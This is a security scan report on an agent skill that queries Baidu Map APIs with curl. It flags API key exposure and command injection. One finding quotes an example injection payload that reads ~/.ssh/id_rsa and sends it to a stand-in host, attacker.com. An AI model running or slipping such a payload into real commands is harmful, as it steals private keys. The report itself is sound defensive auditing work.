baidu-map
3 findings (1 high, 2 medium), mainly data exfiltration, command injection. Most recent scan 2026-02-07.
The baidu-map skill presents MODERATE security risks primarily related to credential exposure and command injection vulnerabilities. The skill's core functionality (querying Baidu Map APIs via curl) is legitimate, but the implementation has significant security weaknesses: (1) API keys are exposed in command-line arguments and process listings, (2) User input is interpolated into shell commands without sanitization guidance, creating command injection risks, (3) API keys are transmitted via URL parameters which exposes them in logs and caches. The skill lacks executable scripts (only provides curl templates), which reduces immediate risk, but the instructions could lead agents to execute unsafe commands. The missing optional metadata fields and lack of rate limiting guidance are minor issues. Overall, this skill requires security improvements before production use, particularly around credential handling and input validation.
Scanner's overall assessment (LLM analyzer)
Second scanner: NVIDIA SkillSpector
The two scanners disagree: Cisco rates this HIGH and SkillSpector found nothing. Check the false-positive register; signature matches on documentation are the usual cause. How the two scanners compare across the whole corpus: Two scanners, one corpus.
What this skill does
使用百度地图Web服务API进行地点搜索、天气查询、路线规划和地理编码。
- Package
- 2 files, 5.6 KB
- SKILL.md
- 216 words, 12+ sections
- Code
- None. Instructions only.
- Requires
- bins:
curl - Homepage
- https://lbsyun.baidu.com/
SKILL.md covers: 百度地图 (Baidu Map) · 何时使用 (触发条件) · 核心功能与用法 · 1. 地点搜索 (POI检索) · 将 [关键词] 替换为用户提供的内容 · region参数可以是城市名或区域名 · 或者指定具体城市 · 2. 城市内地点搜索 · 将 [关键词] 和 [城市] 替换为实际内容 · 3. 周边搜索 (圆形区域内搜索) · 将 [经度,纬度] 替换为实际坐标，radius为搜索半径(米) · 4. 地理编码 (地址 → 坐标)
Findings
HIGH Hardcoded API Key Exposure Risk via Environment Variable Data Exfiltrationllm
The skill requires users to set their Baidu Map API key (BAIDU_MAP_AK) as an environment variable, which is then directly embedded in curl commands. This creates multiple security risks: (1) The API key is exposed in process listings and command history when curl commands are executed, (2) Shell command history files will contain the plaintext API key, (3) Process monitoring tools can capture the key from command-line arguments, (4) The key may be logged in system logs or audit trails. While using environment variables is better than hardcoding in files, directly interpolating secrets into command-line arguments is a security anti-pattern that exposes credentials.
SKILL.md
export BAIDU_MAP_AK="你的百度地图Access Key"
curl "https://api.map.baidu.com/place/v2/search?query=[关键词]®ion=全国&output=json&ak=$BAIDU_MAP_AK"MEDIUM Command Injection Risk via Unsanitized User Input Command Injectionllm
All curl commands in the skill instructions directly interpolate user-provided input (marked as [关键词], [城市], [地址], [起点], [终点], etc.) into shell commands without any sanitization or validation guidance. An attacker could inject shell metacharacters or additional curl parameters through these placeholders. For example, a malicious user could provide input like 'test&curl http://attacker.com?data=$(cat ~/.ssh/id_rsa)' which would execute arbitrary commands. While the skill provides templates rather than executable code, it instructs the agent to perform dangerous string interpolation in shell contexts.
SKILL.md
curl "https://api.map.baidu.com/place/v2/search?query=[关键词]®ion=全国&output=json&ak=$BAIDU_MAP_AK"
curl "https://api.map.baidu.com/geocoding/v3/?address=[地址]&output=json&ak=$BAIDU_MAP_AK"MEDIUM Potential Data Exposure via URL-based API Key Transmission Data Exfiltrationllm
All API calls use GET requests with the API key (ak parameter) embedded directly in the URL query string. This transmission method exposes the API key in multiple ways: (1) URLs are logged in web server access logs, (2) URLs may be cached by proxies and CDNs, (3) URLs appear in browser history and referrer headers, (4) Network monitoring tools can capture URLs in plaintext (if not using HTTPS properly), (5) The key is visible in the agent's command output. While HTTPS encrypts the transmission, the key remains exposed in logs and caches at multiple points in the request chain.
SKILL.md
curl "https://api.map.baidu.com/place/v2/search?query=[关键词]®ion=全国&output=json&ak=$BAIDU_MAP_AK"What is in the package
| File | Kind | Size |
|---|---|---|
README.md | doc | 986 B |
SKILL.md | doc | 4.6 KB |
External hosts referenced
api.map.baidu.com lbsyun.baidu.com
Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.
Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.
What we checked
- Static analyzer. Pattern rules over SKILL.md and bundled files: known-bad commands, exfiltration URLs, secrets, obfuscation.
- Llm analyzer. A language model reads the skill and reports intent-level issues the rules cannot express.
- Meta analyzer. A second model pass that validates, deduplicates and re-scores the other analyzers' findings.
What we did not check
- Runtime behaviour. The skill was not executed; findings come from reading its files.
- Anything fetched at install or run time, including remote scripts, package dependencies, and URLs the skill tells the agent to open.
- Content the analyzers cannot read: images, binaries, and some non-English text.
- Known scanner bypass classes. See the methodology and limitations page.
Sources
- Repository: https://clawhub.ai/skills/baidu-map-api
- Raw scan result: 调用百度地图api功能-scan.json
- Badge for your README:
- Request a re-scan